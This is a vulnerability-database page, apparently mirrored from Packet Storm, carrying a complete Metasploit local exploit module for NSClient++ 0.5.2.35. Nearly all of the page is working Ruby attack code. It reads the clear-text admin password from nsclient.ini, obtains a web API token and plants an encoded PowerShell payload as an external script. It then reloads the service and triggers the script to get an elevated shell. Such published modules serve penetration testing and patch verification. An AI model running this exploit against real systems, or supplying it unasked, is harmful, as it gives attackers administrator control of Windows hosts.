Lucene search
K

NSClient++ 0.5.2.35 Privilege Escalation

🗓️ 06 Jul 2021 00:00:00Reported by bzyoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 607 Views

NSClient++ 0.5.2.35 Privilege Escalation module to gain admin access on Windows system

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpClient  
include ::Msf::Exploit::Powershell  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',  
'Description' => %q{  
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.  
For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.  
You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[ # This module is kind of mix of the two following POCs :  
'kindredsec', # POC on www.exploit-db.com  
'BZYO', # POC on www.exploit-db.com  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '48360'],  
['EDB', '46802']  
],  
'Platform' => %w[windows],  
'Arch' => [ARCH_X64],  
'Targets' =>  
[  
[  
'Windows',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_powershell  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-10-20',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }  
)  
)  
  
deregister_options('RHOSTS')  
register_options [  
OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),  
OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])  
]  
end  
  
def rhost  
session.session_host  
end  
  
def configure_payload(token, cmd, key)  
print_status('Configuring Script with Specified Payload . . .')  
  
plugin_id = rand(1..10000).to_s  
  
node = {  
'path' => '/settings/external scripts/scripts',  
'key' => key  
}  
value = { 'string_data' => cmd }  
update = { 'node' => node, 'value' => value }  
payload = [  
{  
'plugin_id' => plugin_id,  
'update' => update  
}  
]  
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
r = send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
  
if !(r&.body.to_s.include? 'STATUS_OK')  
print_error('Error configuring payload. Hit error at: ' + endpoint)  
end  
  
print_status('Added External Script (name: ' + key + ')')  
sleep(3)  
print_status('Saving Configuration . . .')  
header = { 'version' => '1' }  
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]  
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
end  
  
def reload_config(token)  
print_status('Reloading Application . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/core/reload')  
})  
  
print_status('Waiting for Application to reload . . .')  
sleep(10)  
response = false  
count = 0  
until response  
begin  
sleep(datastore['DELAY'])  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/')  
})  
if r && !r.body.empty?  
response = true  
end  
rescue StandardError  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
count += 1  
if count > 10  
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')  
end  
end  
end  
  
def trigger_payload(token, key)  
print_status('Triggering payload, should execute shortly . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri("/query/#{key}")  
})  
rescue StandardError  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
def external_scripts_feature_enabled?(token)  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/registry/control/module/load'),  
'vars_get' => { 'name' => 'CheckExternalScripts' }  
})  
  
r&.body.to_s.include? 'STATUS_OK'  
end  
  
def get_auth_token(pwd)  
r = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/auth/token?password=' + pwd)  
})  
  
if r&.code == 200  
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]  
return auth_token  
end  
rescue StandardError => e  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
def get_arg(line)  
line.split('=')[1].gsub(/\s+/, '')  
end  
  
def leak_info  
file_contents = read_file(datastore['FILE'])  
return unless file_contents  
  
a = file_contents.split("\n")  
pwd = nil  
web_server_enabled = false  
  
a.each do |x|  
if x =~ /password/  
pwd = get_arg(x)  
print_good("Admin password found : #{pwd}")  
elsif x =~ /WEBServer/  
if x =~ /enabled/  
web_server_enabled = true  
print_good('NSClient web interface is enabled !')  
end  
end  
end  
return pwd, web_server_enabled  
end  
  
def check  
datastore['RHOST'] = session.session_host  
pwd, web_server_enabled = leak_info  
if pwd.nil?  
CheckCode::Unknown('Admin password not found in config file')  
elsif !web_server_enabled  
CheckCode::Safe('NSClient web interface is disabled')  
else  
token = get_auth_token(pwd)  
if token.nil?  
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')  
elsif external_scripts_feature_enabled?(token)  
CheckCode::Vulnerable('External scripts feature enabled !')  
else  
CheckCode::Safe('External scripts feature disabled !')  
end  
end  
end  
  
def exploit  
datastore['RHOST'] = session.session_host  
pwd, _web_server_enabled = leak_info  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
token = get_auth_token(pwd)  
  
if token  
rand_key = rand_text_alpha_lower(10)  
configure_payload(token, cmd, rand_key)  
reload_config(token)  
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted  
trigger_payload(token, rand_key)  
else  
print_error('Auth token couldn\'t be retrieved.')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation